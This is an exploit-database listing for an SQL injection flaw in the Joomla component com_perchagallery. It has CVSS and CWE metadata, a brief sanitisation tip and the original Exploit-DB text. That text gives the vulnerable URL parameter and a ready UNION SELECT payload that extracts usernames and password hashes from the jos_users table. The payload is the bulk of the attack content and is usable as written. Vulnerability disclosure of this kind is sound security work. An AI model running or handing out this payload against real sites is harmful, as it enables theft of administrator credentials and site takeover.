header-logo
Suggest Exploit
vendor:
com_perchagallery
by:
FL0RiX
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: com_perchagallery
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

Joomla Component com_perchagallery SQL Injection Vulnerability

An attacker can exploit this vulnerability to gain access to the admin login credentials.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

########################################################################
# Joomla Component com_perchagallery SQL Injection Vulnerability

######################################################################## #
# Author :FL0RiX
#
# Name : com_perchagallery
#
# Bug Type : SQL Injection
#
# Infection : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://localhost/index.php?option=com_perchagallery&view=editunidad&id=[EXPLOIT]
#
#EXPLOIT : null/**/union/**/select/**/1,concat(username,0x3a,password)fl0rix,3,4,5,6/**/from/**/jos_users--
########################################################################